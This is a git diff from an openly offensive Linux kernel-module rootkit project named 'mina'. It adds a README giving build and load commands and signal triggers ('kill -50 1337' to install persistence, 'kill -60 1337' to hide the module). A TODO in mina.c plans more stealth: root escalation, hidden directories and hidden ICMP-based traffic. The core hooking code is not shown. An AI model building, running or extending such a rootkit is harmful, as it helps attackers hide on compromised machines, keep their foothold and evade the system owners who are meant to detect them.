mina.ko

diff --git a/.meta/showcase.png b/.meta/showcase.png
Binary files differ.

diff --git a/README.md b/README.md
@@ -0,0 +1,31 @@
+# mina
+
+the mina rootkit . . .
+
+experimental LKM rootkit, tested on `Linux 6.11.2`
+
+![screenshot](./.meta/showcase.png "project screenshot")
+
+## Compiling and running
+
+```bash
+sudo make deps
+
+make
+
+sudo make load
+
+# to remove the rootkit
+sudo make unload
+```
+
+
+## Features
+
+### install persistence
+
+run command `kill -50 1337`
+
+### hide kernel module
+
+run command `kill -60 1337`

diff --git a/rootkit/cmd.txt b/rootkit/cmd.txt
@@ -1,3 +0,0 @@
-sudo cp -r /mnt/shared/rootkit . && sudo chown -R djnn:djnn rootkit && cd rootkit ; make clean ; make && sudo make load
-
-https://stackoverflow.com/a/60564037

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -6,6 +6,19 @@
 
 #include "includes/mina.h"
 
+/*
+    TODO(djnn):
+
+the next step is to increase the stealth of the rootkit, before we want to add
+some features.
+
+features ideas:
+- autoroot
+- hide directories
+- hide tcp-traffic (ICMP with a specific header in datafield)
+
+*/
+
 MODULE_LICENSE("GPL");
 MODULE_AUTHOR("djnn <[email protected]>");
 MODULE_DESCRIPTION("mina LKM rootkit");